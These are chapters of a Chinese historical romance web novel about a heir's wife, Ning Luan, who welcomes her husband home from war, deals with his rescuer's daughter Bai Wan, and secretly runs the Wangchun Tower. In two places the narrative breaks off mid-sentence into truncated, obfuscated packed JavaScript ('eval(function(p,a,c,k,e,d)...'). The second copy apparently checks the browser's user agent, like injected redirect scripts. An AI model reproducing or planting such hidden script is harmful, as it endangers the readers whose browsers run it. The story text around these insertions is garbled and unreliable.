青霜行礼领命，从不多问一字。见宁鸾再无吩咐，她便悄无声息退归阴影之中，仿佛从未出现。 外面的风吹得更喧嚣了些。 宁鸾双手扶住高楼漆红色的护栏，任耳边的鬓发抚上脸颊。再深深望了一眼城外舞动的旗帜，她长出一口气，利落转身离去。 …… 暮色渐沉，华灯初上。 宁鸾端坐于前厅，静静等待。随手拿起案上的诗集小册，纸页发出轻微哗哗声，可往日里手不释卷，今日竟半句诗词也未能入眼。 盖碗里的茶水凉了又热，也不知道续到第几遍水，终于听到门房外小厮高声通传： “世子回府！” 宁鸾指尖一顿，扔下册子，起身迎上前去。 程慎之踏着晚霞归来，身上玄铁铠甲未卸，绚丽的日光在铁甲上反射出冷冽的寒芒。他单手抱着铁盔，另一只手已迫不及待伸出，将怔愣的宁鸾揽入怀中。 低头埋过宁鸾颈窝，程慎之收紧手臂，铁甲冰凉得硌人。他沙哑着嗓音，过了好一阵，才委屈巴巴地挤出一句话。 “……我好想你。” 4. 小别新婚 猝不及防，宁鸾跌入一个结实坚硬的怀抱。 抬手是战甲冰凉的触感，耳旁是温热急促的喘息，激得颈后的肌肤泛起隐约的红晕。 宁鸾僵在原地。两人虽是夫妻，但成婚数年，实质上还几乎未有过这般亲密的接触。 她下意识想推开程慎之，可目光越过他的肩头，却看见内院中站满了仆从。管家领着府中一众丫鬟小厮，正目不转睛地望着他们，眉眼间尽是欣慰。一旁的青露更是喜形于色，笑意几乎都要溢出脸来。 宁鸾思绪一动，顿时了然。征战三年回来，程慎之果真是长进了！连做戏都要做得如此周全！ 将士离家数载，若家中真有牵挂之人，归来第一件事，必定想与心心念念的人紧紧相拥的。 此时程慎之真正的家人远在南部，而他们的婚姻尽管名存实亡，但在旁人眼中，他们就是小别胜新婚的恩爱夫妻。 当年，两人完婚回门时，宁鸾在相府门前玩心大起，下轿后顺势挽住了程慎之的手臂。 程慎之瞬间僵在原地，直挺挺地站着，硬得像块千年老木头，一步也迈不动。 历练几年，果然不同往日，连这样的细节，都考虑得如此周全了。 宁鸾啧啧称奇，整个人仍被程慎之紧箍在臂弯里，一时间动弹不得。 她垂眸静待这个拥抱结束，可呼吸交错间，她竟听见程慎之心跳如擂鼓，一声一声，震得她耳膜发颤。 而另一边的程慎之，心底早已是热浪翻涌。 在边关驿站的无数个夜晚，他曾千万次设想，若是一朝有幸，能带着赫赫战功重回世子府，那该是怎样的光景。 而梦里的凯旋一朝成真，他匆匆向皇上禀明战况，策马紧赶慢赶回到府中时，心中反而忐忑难安。 直至那道朝思暮想的身影从门内走出，真切出现在眼前，程慎之再顾不得礼数是否唐突，当即上前，忍不住将她紧紧拥入怀中。 当初临危受命奔赴前线，皇帝对他本就不抱几分期望，态度间甚至觉得，他即使战死沙场也无妨，朝中有的是可派遣送死的兵将。 边境战争接连爆发，前线本就凶险异常。几次恶战中，敌军钢刀几乎贴耳擦过，刀尖划过头盔，竟削断了他额前散发。 战后在营帐里，程慎之摩挲手心薄茧，心知这样下去，或许终将如皇帝所说，马革裹尸，沉寂永眠在战场角落里。他心底不安，随行的战士们更是日夜惶恐。众人皆不知今日入睡，明日是否能安然醒来。 三年，九百多个日夜。 每当他仰望边关星空，总在那漫天繁星间，看见一双魂牵梦萦的、灿若星辰的眼。 她是他心中不曾存于世的金色蝴蝶，是如浩瀚星河般遥远的幻梦。 至此，程慎之下定决心，他必须成为他们的主心骨，在这生死场上挣得一线生机。 ……哪怕是为了再见她一面，哪怕是为了那句她送别时的话语，不要一语成谶。 虽然他昔日仓促说出的言语，早已伤透了她的心。他的金色蝴蝶，仅施舍了他一点微光磷粉，便被他亲手催赶，翩然远去了。 但是此时，隔着冰凉的盔甲，程慎之的胸口似乎都能感受到一阵柔软余温。 他恨不得这一刻得以永恒。 “你……有点闷，你能不能先松开我？”见程慎之还暗自沉浸在思索当中，宁鸾推了推面前冰冷的胸甲。 程慎之如梦初醒。 他如触碰到炭火般急忙松开宁鸾，掩饰尴尬地环顾四周，下意识道：“抱歉。我回来了，你……大家都快进去吧，就快起风了。” 众人恭敬应声，管家王叔神情犹豫，抬手引他们步入饭厅。 程慎之还未从状态中脱离出来，怔愣着向府中走了两步，忽觉不妥。他揉了揉散乱的头发，回身走了几步，侧身想宁鸾介绍道： “阿鸾，这是白挽。” 随着他的指引，宁鸾向外望去。 世子府大门边，除了程慎之威风凛凛的战马，还静立着一顶精巧纱轿。纱轿旁立着位女子，脸上挂着盈盈笑意，气质正是他喜爱的大方温婉。 只见女子身着藕荷色齐胸襦裙，笼着一件月白色的纱质外衫。盘得齐整的髻上插着几支成色极佳的玛瑙镶银簪，正是官家女子时兴的打扮。 与京州女子不同的是，她脸庞中隐约含着几分异域风情，脖子上戴着个松石穿花银项圈，腕间缀满银饰。可那通身气度却不并似传言中的边陲女子，反倒更像是京州娇养捧着的贵族小姐。 程慎之轻咳一声，向宁鸾介绍道： “当日我在战场上中了异族埋伏，虽骑马躲入松林，可仍是中了一箭。”程慎之下意识按住左腹，“失血过多，在那林子里失了意识。” 他喉结滚动，似是在艰难回忆，顿了片刻后又道： “还好有林中的猎户遇到我，将我带到他家中疗伤，救下我一条命。我答应猎户，带他的女儿白挽来京州好好照顾。” “白挽，这就是我常向你提起的阿鸾。”程慎之引白挽走进府门，直至宁鸾面前，举止中皆是介绍救命恩人的坦荡。 宁鸾心中顾虑稍减，她早从青露处得知白挽之事，此刻并不惊讶，只觉战场中凶险异常。 程慎之留意着宁鸾神情，见她面色缓和，自己也稍稍放松。 “白挽见过姐姐。”那白挽怯生生地行了个礼，嗓音清甜，像是被蜜水润过。 “慎之征战，条件艰苦，白姑娘必然也是一路舟车劳顿，夜难安寝。”宁鸾眼里带笑，“不如大家先进去用膳吧，也好略解路途困乏。” …… 众人在厅中坐罢。 程慎之坐在桌前，心不在焉。他双手无意识地握紧，神思仍停留在方才那个短暂的拥抱里，怀念着那一抹转瞬即逝的温热。 宁鸾正轻声吩咐管家布菜，抬眼瞥见程慎之神色倦怠，只当他连日赶路、又即刻面圣，身心俱疲，便也不多打扰，转而温和地向白挽开口： “不知白姑娘今年多大了？日后可有什么打算？” 听见宁鸾问话，白挽并未立刻回答。她略带羞怯地抬眼，悄悄望了程慎之一眼。见他正低头摩挲着酒杯并未看向自己，这才转向宁鸾，轻声细语地答道： “妹妹今年刚满十五。” 她稍作停顿，声音更柔了几分： “曾听人说，当年皇上亲自为姐姐与世子指婚时，姐姐也是十五岁。妹妹不敢奢求其他，只望能如姐姐一般，觅得一位良人，最后……在京中能有一处安身立命之所。” 虽南部边境民风开放洒脱，但婚姻大事终究是父母之命，未出阁的姑娘当面说出这般话，终究显得有些越矩。 宁鸾二人成婚几年有余，即便两人关系疏淡，在外人眼中却仍被传为一段佳话。 宁鸾心下对她的心思了然几分，此刻也不点破，只温言道：“白姑娘不必担心，慎之一向重诺，对救命恩人更是看重。他既答应照拂你，自然会为你留心一桩好姻缘，让你在京中安稳立足。” 不等白挽再说什么，宁鸾瞥见程慎之放下筷子，便顺势询问道： “我命人在府中收拾了东侧殿，暂时安排 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自说了那狠心的话后，程慎之已经很久未在宫里见过宁鸾了。 这么说，似乎也不确切。每逢宫宴或公主贵女们在御花园的聚会，总能看到她活泼飞扬的身影。 作为自幼养在太后身边的世子，程慎之在宫中本就身份特殊。他既不同于分宫别居的皇子，也不同于轮值驻守的官员侍卫。他常年穿行于深宫，嫔妃们视他如半子，并不多加约束。 所以每当有宫宴或聚会，程慎之总会在抽出时间，寻一处僻静角落，默默遥望那只金色蝴蝶。 她换了一支新金钗，她及笄后开始绾发，她仍喜欢在发间点缀些别致饰物，她与太子说笑时眉眼生辉…… 可惜如他所想，那般明媚鲜活的时光，终究是短暂的。 那日，宣旨的王公公明晃晃地告诉他，皇恩浩荡，圣上为他择了一门好亲事。 身为世子，程慎之早知婚事不过是权谋的筹码。他跪下麻木接旨，只听王公公朗声诵读： “奉天承运皇帝诏曰：兹闻安南王世子程慎之，天资英睿，德才兼备……丞相府嫡长女宁鸾，温婉贤淑，才情出众……今特赐婚于汝二人，择黄道吉日完婚，望同心同德，举案齐眉。钦此！”① 程慎之几乎呆愣在原地，几乎是下意识抬手接过圣旨，心底早已炸成火花。 宁鸾，竟会是宁鸾！？ 他浑浑噩噩送走了传旨公公，神情呆滞，一时不敢相信，魂牵梦萦的金色蝴蝶，就这样飞到了他的身边。 一拧大腿，多年的习惯让程慎之强迫自己冷静。 皇帝此番指婚，明面上是体恤安南王，重视朝臣，实则暗藏机锋。 若宁丞相生出异心，安南王这层姻亲关系便是现成的通敌罪证。若安南王有异动，其世子既娶了朝廷重臣之女，心向朝廷，未必不能“留子去父”，另立傀儡。 只是不知道，一同落进这宫中深潭的，为何是一向颇受皇恩宠爱的宁鸾。 思及此，程慎之卷起圣旨，长叹出一口气。 无论背后如何算计，这场赐婚终究是他私心所盼。宁鸾纵然脾气娇蛮，不愿嫁他，总不能违抗圣旨吧？ 程慎之第一次如此真心实意地感谢上苍，发自内心地觉得皇恩浩荡。 光阴过得飞快，二人婚事如期而至。 可纵是程慎之早有预料，也万万没想到，新婚之夜，宁鸾会给他这样一场“惊喜”。 5. 如此姻缘 新婚那日，红绸蜿蜒，十里红妆。 这场婚事办得极尽隆重，皇帝亲自指婚，礼部倾力操持，就连大婚的场所，也特意定在了专属于皇子婚仪的慈康宫。 安南王早已抵京，正与神色复杂的宁丞相并肩而立，共同见证了这场出乎所有人意料的赐婚。 宁鸾头顶鎏金凤冠，喜帕以金线密密绣出云凤纹样，耳旁传来环佩相碰的声音，她被无数视线与规矩牵引着，接过那截红绸，完成这场举国瞩目的礼仪。 “礼成！”礼官高声唱道。 按照礼部安排，新婚卧房便设在御赐的世子府主室，程慎之也依照礼仪，在世子府正厅设宴待客。 直至天色沉黯，忙碌的宫人尽数退去，白日的喧嚣终于归于深沉的寂静。待窗外只剩一方墨色的天，身穿大红喜服的程慎之送走最后一位宾客，强作镇定，走向房门紧闭的婚房。 他没有安排喜娘随侍，亲手端了合卺酒，推门而入。 宁鸾端坐在婚床边缘，喜帕低垂，金线在烛光下泛着细碎的光点。朦胧红雾中，帕下人的面容与神情都被遮掩得迷糊不清。 程慎之合上房门，将合卺酒置于桌上，默然坐到桌前。 “阿鸾，”他缓缓斟酒，龙凤描金的烛火在渐满的酒液中画上一个满月。“我们似乎已经……许久未曾说过话了。” 宁鸾抬手按住胸口，语气平稳：“若非皇上亲自赐婚，世子殿下大约也不想见我吧。” 程慎之摇头苦笑，并未回答，只望向蒙着喜帕的宁鸾：“那你呢？你愿意见到我吗？” 没有等到回音，他举杯一口饮尽杯中酒，起身烦躁地踱了几步，最终停在宁鸾身前，再次谨慎开口：“你……当真愿意成为这个世子妃吗？” 当真愿意……成为我的妻子吗？ 宁鸾感到他停在自己身前，顿时隔着一层红色喜帕抬头看去。烛光影影绰绰，勾勒出男子高大挺拔的身形。 良久的沉默后，宁鸾忽地自己抬手掀开喜帕，露出下面一张明艳的容颜。 程慎之只觉眼前一晃，眼前人面若芙蓉，眉似远黛，在烛光地晕染下肤若凝脂。金鸾衔珠的赤红流苏垂在她的额前，轻缓抚过眉心贴着的金色花钿。 宁鸾一身大红的嫁衣，衬得整个人熠熠生辉，如同九天之上的金凤，下一刻就要涅槃而去。 程慎之一时竟看怔住了。 然而宁鸾虽身着新嫁娘的装扮，神情里却没有半分娇羞喜悦。她抬眸瞥到程慎之身后那空掉的合卺酒杯，脸上牵起一个自嘲的笑。 “与你成婚，我自是不愿。” 随手将手中的大红喜帕扔到床榻上，宁鸾起身解开身上华重繁复的礼服外袍。在程慎之的注视下，她径自绕过床边，走到方才程慎之落座的位置坐下。 龙凤双烛在桌前随风跃动，室内却是寂静无声。 “程慎之，自你上次对我坦言，我便知你我并非佳偶天成。”宁鸾低头把玩着空了的银杯，过了半晌才缓缓开口，“我生性热闹，不似寻常闺秀那般懂事得体，与你心仪的模样……没有丝毫相称。” “不……” 程慎之张了张口，话到嘴边又猛地咽了下去。 此刻婚房之中不似新婚燕尔，反倒更像是在对簿公堂。二人一站一坐，一派的冷漠疏离。 宁鸾见程慎之欲言又止，心中已满是了然。她执壶斟满银杯，轻抿一口，冰凉的酒液划过喉咙，在胸口燃起一路炽热。 “你既对我无意，我宁鸾也不愿困守深宅，终日仰仗这四方天度日。”宁鸾声音决绝，说出的话像是混着冰渣，一下一下摩擦程慎之滚烫的内心。 他眼看着宁鸾从怀中掏出一卷纸页，置于桌上。 “蜀西国律法中载有夫妻和离之条。这是我此前整理的卷宗。”宁鸾低头将纸卷展开，“我根据版式，提前拟了一份和离书。” “我们是皇帝亲自赐婚，立即和离自是不妥。若你愿意，我们不妨先行约定，若来日遇见真正心悦之人，便签下这和离书。届时，我会离开世子府。” “离开？”程慎之皱了皱眉，顾不得其他，下意识道：“你要去哪里？”他随即走上前，拿起一页纸卷端详细看。 “二人两心不同，难归一意，一别两宽，各自欢喜……”① 念着念着，程慎之几乎气极反笑，当年一时冲动，竟换来如今的两心相隔，阴差阳错之下，终究是他咎由自取。 也罢。若这世子府能成为她愿意停靠的归处，他便给她这份自在。 虽心中如此作想，可抬眼见宁鸾冷漠神情中那难以掩饰的紧张，头那点郁结忽然就散了，反倒生出几分无奈的调侃之意。 “你我二人，今日新婚，新婚当日签这和离书，确实不妥。况且……”程慎之从旁边抽了个高脚盘凳，学着宁鸾方才的模样，在桌子对面坐下来。 他将纸页推至她眼前，修长的指尖轻点一处，“况且，你这和离书，错了一字。” “这''结缘''的''缘''字，绞丝旁下多了一撇。” 程慎之声音低沉，说完竟带上一抹自嘲的笑意，“你说，像不像月老的红绳，给咱俩的姻缘打上了死结？” …… 程慎之还记得，就因这个“死结”，那晚二人在府里闹了个鸡飞狗跳。 他们虽是这世子府名义上的主人，实则却是头一回踏足此处。 宁鸾自觉写了错字丢了颜面，又不愿惊动侍从，便气鼓鼓地在婚房里翻箱倒柜，非要找出笔墨纸砚，当场修正那一处墨渍，将这张出了错的和离书翻篇。 程慎之支着额坐在一旁，静静看着她来回忙活。烛火给二人打上一层柔光，竟将这新房映出几分罕有的温馨。 下一瞬，岁月静好的程慎之就受了池鱼之灾，当场被宁鸾指使着打理床铺。 新婚当晚，睡书房自是不合适的。 况且，程慎之连世子府的书房在哪儿都尚且不知。 他认命地走近朱漆描金的雕花拔步床，扯落大红鸳鸯被下藏着的“枣生桂子”，指尖拂过枕上绣着的鸳鸯图样，目光停顿了一瞬。 另一边，宁鸾已从柜中翻出墨锭，就着桌上的合卺酒磨出了墨汁，用手蘸着，一点点抹掉了那个写错的“缘”字。 婚房中一时忙碌无比，仿佛在掩盖着方才的冷漠和疏离。 宁鸾早已想过，新婚之夜提出和离实属离经叛道，定被世人所不容。但世事不如意十之八九，今日上花轿前，便已做好了程慎之断然拒绝、自己不得不委身于人的准备。 却不想程慎之竟借一个错字，将和离书轻轻揭过。 她心中正自忐忑，却听程慎之抚着枕上鸳鸯，沉默良久，终是深吸一口气，决然开口： “如你所愿，咱们互不干涉，可好？” 他知道，这是宁鸾最想听到的答复。 既然这是她所要的，那便给她。日子还长，何惧看不透真心。 宁鸾原以为程慎之的沉默便是婉拒，正觉失落，不料峰回路转。抬眸对视间，竟发现他眼中不见半分敷衍，尽是诚恳与坦荡。 “好！” 她应得清脆，脸上也终于露出今晚第一个真心实意的笑容。 “那就一言为定！”宁鸾嘴角微扬，精心描摹过的红唇勾勒出明媚的弧度，那细致描画的眉眼中，仿佛盛满闪烁的星，映得她整个人都明亮了起来。 程慎之看呆了。 两人既已达成一致，便拆解了行礼时所牵的同心结，将红绸一头一尾扎实系于雕花大床的床栏中央，妥帖地隔出两处安歇之地。 一夜无话。 而最令程慎之头痛的是，成婚第二日，坊市间竟流传起“新婚当夜世子毫不怜香惜玉，婚房频传异响”的传言。 连一向不苟言笑的章师傅，在去尚书房途中遇见他时，也忍不住频频侧目，几度欲言又止，最终只重重一拍他的肩，低声提醒： “丞相府势力不小哦……干柴烈火，年轻也须懂得节制。” 程慎之：“……？” 好一阵尴尬无言。 而眼下，久别重逢，凯旋归府，昔日的窘迫仿佛一路蔓延到了此刻。 宁鸾手脚利落，依着成婚第一年的旧例，熟练而快乐地铺整床榻。 程慎之不在的这几年，宁鸾已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她本以为程慎之对世子妃并不上心，反倒对她白挽关心更甚。毕竟他一路上几乎未主动提及过宁鸾，即便问起，也只是含糊几句带过，从不愿多提。 倒也并非白挽自负，在先前居住的村庄与县城里，以她的容貌身段确实称得上拔尖。 本以为凭着自己这般相貌，再加上救命恩人女儿这重身份，假以时日，必能哄得程慎之点头，堂堂正正嫁入这世子府中。 岂料入府一日，程慎之所谓的报恩，竟只是将她当作客人般好吃好喝供养着。而那位世子妃宁鸾见了她，眼中也未起半分波澜，只如对待寻常宾客一般，礼数周全，却也疏淡得令人无从指摘。 此刻，眼见世子入宫上朝，宁鸾也预备出门，府中只剩管家依旧笑眯眯地随侍在侧，道是“一切但凭姑娘吩咐”。 白挽满心的算计仿佛一拳打进了棉絮里，只得恨恨咬碎一嘴银牙。 另一边，宁鸾回屋换上一身轻便衣裳，独自一人走出府去。拐进一条僻静小巷，不起眼的灰衣人驾着辆不起眼的篷布马车，在巷口静候多时。 “主子。”见宁鸾上了车，那灰衣人低声致意。 “去彩脂轩。” 没有多余的话语，马车平稳行驶起来。宁鸾将车帘拉开一条细缝，抬眼向外看去。 外面天空阴沉沉的，大团乌云聚集翻涌，似有一场暴雨即将倾泻而下。 …… 马车一路前行，最终停在了彩脂轩门前。 轩内已经聚集不少人，多是衣着精致的夫人小姐，亦有奉命采买的侍女家仆穿梭其间。宁鸾绕过主厅，径直走向一处僻静角落，掀开帘布，推开一扇隐蔽的雕花小门。 门后是一条幽深昏暗的走廊。待穿过廊道，眼前顿时豁然开朗。 一方雅致庭院呈现眼前。嶙峋的假山石随意堆叠，顶上泉水喷涌而下，在半空撞上山石，飞溅起细小的水花。溪流顺着山石，淙淙汇入一汪清澈小潭。星点浮萍中，几尾锦鲤悠然自在，不时浮上来搅碎这云影天光。 沿潭边小径行去，路边遍布浅苔香草，空气中弥漫着幽微的清香。小径尽头，树影掩映下，又是一扇雕花木门。 宁鸾未作迟疑，推门而入，走进一间略显空旷的别致小厅。 厅内空间不算开阔，却高深得望不见顶。除了正中一道蜿蜒而上的木质旋梯盘绕而上，几乎空无一物。 墙壁上每隔数米便嵌着一盏琉璃灯，灯下悬着雕花风铃。微风随她的脚步轻拂而过，风铃发出细碎的清音。 京州城中最为热闹繁华的望春楼，今日终于迎来了它神秘的主人。 6. 望春盛景 踏上最后一块木质台阶，宁鸾站在顶端的鎏金雕花门前。 这扇紫檀木门上设置了机关，若是有人妄想凭蛮力破开，亦或想要用银针撬锁，都只会触动夹层暗藏的银铃机关，射出暗器攻击门外之人。 宁鸾轻敲三下门上的飞天凤首，指尖按北斗七星顺序，依次拨动门上莲蕊雕饰，只听“咔哒”一声，两扇重门朝着内部缓缓打开。 迎面立着两位身着水绿齐腰长裙的侍女，一头青丝用绿檀木发簪盘得干净利落。 “主子。”见宁鸾进来，二人齐声行礼，举手投足间训练有素。 宁鸾微一颔首，径自走进厅中。 厅内明处摆一张紫檀木雕花桌案，正中镶嵌进整块的乳白玉石，触手温润。桌上一盆新鲜荷花，景泰蓝印花香炉升起青烟，室内弥漫着清幽梨香。 绕过双鹤戏水屏风架，暗处侍女为宁鸾挑开层层帷纱。青霜早已等在内室门口，她以眼神示意，宁鸾所等的人已经到达。 宁鸾信步转入内室更衣换装。不过多时，铜镜中赫然映出俊朗男子身形。只见镜中人玉带束发，宽袖拦腰，一袭淡蓝色的锦袍暗流丝光，腰间玉壁莹润剔透，价值连城。 宁鸾戴上面具，鸾鸟展翅掠过眉骨，尾羽镶嵌着水滴状的翡翠，遮挡住大半张脸，只露出精致下颌和紧抿的唇线。 小春台的天台之上，一道挺拔身影负手而立，看来已是等候多时。听见动静，那人转过身来。 宁鸾不动声色，悄然打量。 来人身材高大挺拔，外笼深枣色织锦圆领袍，腰间束着一掌宽鳄鱼皮钉护腰，腕上戴着同料的鳄鱼皮护手，一身武将气势。 又见他内着一件银灰单衣，领上和袖口绣着流光祥云暗纹，却又透出几分文官的雅致来。 二人一时皆未开口。就在宁鸾审视这位小将军的同时，时鸿也在暗暗观察着她。 他曾与这位“林公子”有一面之缘。 据他多方打探，这位林公子来历神秘，不声不响间竟盘下京州整片坊市，更以半年时间建起这座雕龙画凤、生意通达的望春楼。 “林公子。”时鸿猛地抱拳，低头以武将之礼相待。 宁鸾略一颔首，并未回礼。不管是世子妃还是望春楼楼主的身份，她都有这个资格，受得起这一礼。 “刷”一声打开折扇，宁鸾刻意压低嗓音：“劳鸿兄久候，多日不见，鸿兄洒脱依旧。” “若能见上林公子一面，满腹惆怅也变作洒脱了。”时鸿爽朗大笑，随即自嘲摊手：“至于洒脱，不过是为人陪衬，自我安慰罢了。” 见他神情戏谑无奈，宁鸾心中无奈摇头，她收了扇子抬手道：“坐。” 一旁面蒙黑纱的青霜为两人倒上香茗，递茶时冷冷瞥了时鸿一眼，眼中罕见地带上几分情绪。 宁鸾意外，青霜一贯是冷言漠色，今日倒显出几分不同来。 思绪飞转间，宁鸾扶了扶面具，率先开口：“此去前线，蜀西大捷，时鸿将军亦是功不可没。” 时鸿听了，不由长叹一声，将刚端起的茶盏放下，抬手挠了挠头：“林公子，您这话可真是戳到我的痛处了。此番出征，说来实在惭愧。” “何出此言？” “程世子三年前领兵出战之时，边境战火连天，凶险异常。依我之见，以异族之势，本就不是皇上当初派出的那点兵马所能平定的。”时鸿说到此处，下意识抬眼环顾四周。 宁鸾用扇骨轻点桌面，“但说无妨。” 时鸿清了清嗓子，压低声音道： “圣上派程世子出战，仅拨兵马不足一万，粮草更是还不够半数。明眼人都看得出，这分明是要找个由头发落他，最好让他战死沙场，撮一撮安南王的锐气。” 见宁鸾听得专注，他突然情绪高昂，猛然一掌击在桌上：“可没成想，程世子如有神助！虽是兵马不足，但能以一当十，眼见着竟是要扭转局势，反平为胜了！” 说到这里，时鸿不好意思地挠了挠头，终于说到了自己： “不怕您笑话，我是个庸人，家父身为将军，一生戎马，反倒希望我考取功名，做个文官。可惜我最讨厌舞文弄墨，更爱长枪利剑。” 时鸿扯扯内里的衣袍，高束的领口勒得他有些不自在。 “可林公子您可知，圣上见程世子在边境屡战屡胜，颇得民心，这才拨了两万兵马，派我前去‘助阵’。明为支援，实为压制程世子的风头。” “还好我一寻思，这事儿可不能做！”时鸿讲到气愤处，狠狠咬牙，一拍大腿：“我是想当武将，可我不想背信弃义，平白落人口舌，回来遭人指点脊梁骨！” 宁鸾略加思索，笃定开口道：“于是你便称病拖延，等程世子大捷的消息传出，这才动身赶到南部支援。只是……这位程世子，倒与我所知颇有不同。” “您也认识程世子？”时鸿脱口问道。 却见宁鸾并未立即答话，指尖在案上轻扣，似是陷入沉思。时鸿收了话头，目光却不由自主地落向对面。 眼前人薄衣轻衫，勾勒出略显清瘦的身形。脖颈和手腕自衣中露出，在窗下几乎白的晃眼。虽戴着骇人的鸾鸟面具，可那双眼眸清冷无比，衬得气度澄澈，俨然是不食人间烟火的翩翩君子。 时鸿蓦地想起自己珍藏的那柄玉仙剑，剑身莹白，光华内敛，一如眼前之人。他耳根一热，一时竟看得痴了。 微风吹入小春台，撩拨起两人鬓发。 “罢了，程世子自当有他的造化。”宁鸾不再深想，将折扇搁在案上，轻品起上好的香茗，“说来也巧，鸿兄临行前托我留意的那方宝剑，如今已有眉目了。” 时鸿闻言，骤然回神，双手一撑桌案，猛地站起身来，“当真？！” “自是当真。”宁鸾眼波流转，清淡的语调里带着几分玩味：“素来听闻鸿小将军爱剑如命。却不知今日，将军准备付出什么代价，将这罕见的宝剑换走？” 她指节轻敲桌面，候在门口的青霜适时捧进一个玄色锦盒。 那锦盒不知什么材质，通体漆黑，四边包裹金色护角。一眼看去，便知里面装的绝非凡物。 “打开看看吧。” 时鸿早已迫不及待，凝神屏息，小心翼翼抚住盒盖，伸手拨开平安扣。 盒内静静躺着一把赤色宝剑。 粗略看去，这剑剑柄独具匠心，用镂空技法嵌入一枚红色玉髓。挥舞时，玉髓珠定能随着动作微微抖动，贴合掌心。剑柄底部嵌入一道金线，斗折蛇行，勾勒出奇异的纹路，一直蔓延到鞘尖。 还未出鞘，二人似乎都感受到了扑面而来的灼热剑意。 时鸿激动得双手颤抖，几次张口，欲言又止。 宁鸾见状，伸手轻点剑匣，“拿出来试试吧。” “真……真的可以吗！”时鸿满心满眼都钉在剑上，此刻高兴得手足无措。他深吸一口气，强行屏息凝神，五指稳稳握住剑柄。只听“铮”一声剑鸣，赤色剑身应声出鞘。 阳光径直洒在剑身上，竟折射出如血般的光泽。那道金线在剑身的映衬下，宛如盘龙在岩浆中游走，在金色中隐约透出些血色。 时鸿手腕一翻，剑身在空中划出一道流畅弧光。剑锋过处，竟有热风拂面，墙角的鎏金香炉都被搅散了青烟。 “好剑！”他不禁赞叹道：“寻常宝剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天字匣！冰魄雪莲！”时鸿心头涌起一股深切的绝望，指尖却将锦盒边缘扣得更紧。 那神情，仿佛正与挚爱之人经历一场生离死别。 “望春楼既答应了你会寻，”宁鸾语气依旧平淡，却带着一股沉重的分量，“便从不做无把握的承诺。” …… 京州谁人不知，望春楼高七层。除却唯有楼主可随意出入的顶层，最引人瞩目的，当属六层的拍卖行与珍宝阁。 珍宝阁，顾名思义，乃是奇珍异宝汇聚之所。 楼中依“天地玄黄”四阶为藏品分门别类。在这里，你可持一件传了三代的补丁花袄，换得京州坊市中最美老太亲手腌制的陈年裹脚布。 亦可倾尽家藏奇珍、掷下黄金万两，求取那传说中生死人、肉白骨的稀世奇药。 珍宝阁，只有世人想不到，没有它得不到。 但物品一旦上了“地”级，便多只得以物易物，再非黄白之物可以衡量。 在得知玄烈剑现世之前，时鸿小将军从不敢踏足这听来像是烟花巷柳的楼宇，只怕家中老将军知晓后，一怒之下当真打断他的腿。 直至玄烈剑重现江湖的传闻漫天飞舞，他遍寻门路无果，走投无路之下，才试探着向楼主递了一帖。 未曾想，这一进，竟被仆从径直引着，自那雕龙砌凤的正门一路向上，直至顶楼，见到了传闻中这位神秘莫测的“林公子”。 初逢那日，林公子便是戴着这副银面具，斜倚在案后，饶有兴味地听他诉说对剑的痴狂与渴求。 而如今，真正的玄烈剑近在眼前。 7. 休书密道 待宁鸾从望春楼回到府中，已是接近午时了。 “慎之还未回来？”宁鸾换上家常轻便的服饰，挑了把象牙梳理顺长发。今日扮作男子出行，发髻难免有些松散，此刻回房重新梳洗。 青露捧来绾发的金簪，顺口答道：“世子爷清晨去上朝后，至今未归呢。倒是白姑娘中途来了两次，听闻小姐去了彩脂轩，便又先回去了。” “白挽来过？可说有何事？”宁鸾将蝶花金簪插入云髻，铜镜中映出她骤然转冷的眉眼。 “奴婢问过了，白姑娘只说，想和小姐叙叙家常。” “嗯。若真有事，她自会再来，不必特意留意。” “是。” “让后厨多备几个菜，今日慎之上朝，必定费心劳力。” “是，奴婢这就去后厨盯着。”青露利落地福了福身，提着裙摆便一溜烟退了出去。 恰在此时，外面急急忙忙闯进来个小丫鬟，疾冲而来，和青露撞了个正着。 “哎哟！” 两人同时痛呼出声，在门槛处跌作一团。宁鸾闻声望去，只见两人横七竖八地倒在门口，一个歪着，一个倒着，好不狼狈。 宁鸾不仅扶额轻叹，“怎的如此毛躁？还不快将她们扶起来。” 那闯进来的小丫鬟身着粉衫，长得颇有几分面善，是府中的管事调教着的，名唤桃蕊。 桃蕊慌慌张张地爬起来，也顾不得拍去身上尘土，便急声道： “奴婢该死，奴婢该死！回禀夫人，世子爷回来了，正在前厅发了好大的火，白姑娘也在那儿劝着呢！” 她猛喘一口气，紧接着又说：“管家特命奴婢赶紧来请夫人，求您快去看看吧。” “慎之动了气？”宁鸾心下诧异。程慎之向来性子沉稳，绝非轻易动怒之人。 她回头与青露交换了个眼神，见对方微微摇头，便知未曾收到楼中的消息风声。 整件事来得突然，毫无征兆。 “青露，走，随我去前厅看看。” —— 另一边，时鸿双手紧紧抱着剑匣，自望春楼后门闪身而出，一路朝着将军府狂奔而去。 他完全没留意到，一道黑影正悄然紧随其后。 青霜跟随着时鸿来到将军府偏殿，那正是时鸿的居所。她屏息提气，凭借高超的轻功在时鸿转身的刹那翻上侧殿屋顶，悄无声息地掀瓦落于横梁，将自己隐入阴影之中。 此时的时鸿仍沉浸在极度的兴奋里。他一进屋关门，便迫不及待地开匣取剑，将玄烈剑捧在手中看了又看，甚至忍不住凑近剑身亲了又亲。 横梁上的青霜放缓呼吸，暗自打量着四周。 这将军府的侧殿内，少说陈列着数十把宝剑。它们或悬挂于墙，或置于兵器架中，一柄柄剑寒光凛凛，排列得如同朝堂中肃穆的文武百官。恍惚间，又像是进了哪位帝王的宝剑后宫，各色“佳丽”争奇斗艳，好不养眼。 时鸿抱着玄烈剑，在屋内来回踱步，丝毫未觉察到青霜的存在。他时而举剑比划几招，时而对兵器架端详良久，似乎觉得哪一处都配不上他的新宠。 最后，他目光落在了那张雕花床榻上。 青霜随着他的目光看去，几乎已经预见到了满床兵器的荒唐景象。 毕竟，真正的宠幸，确实都该发生在床笫之间。 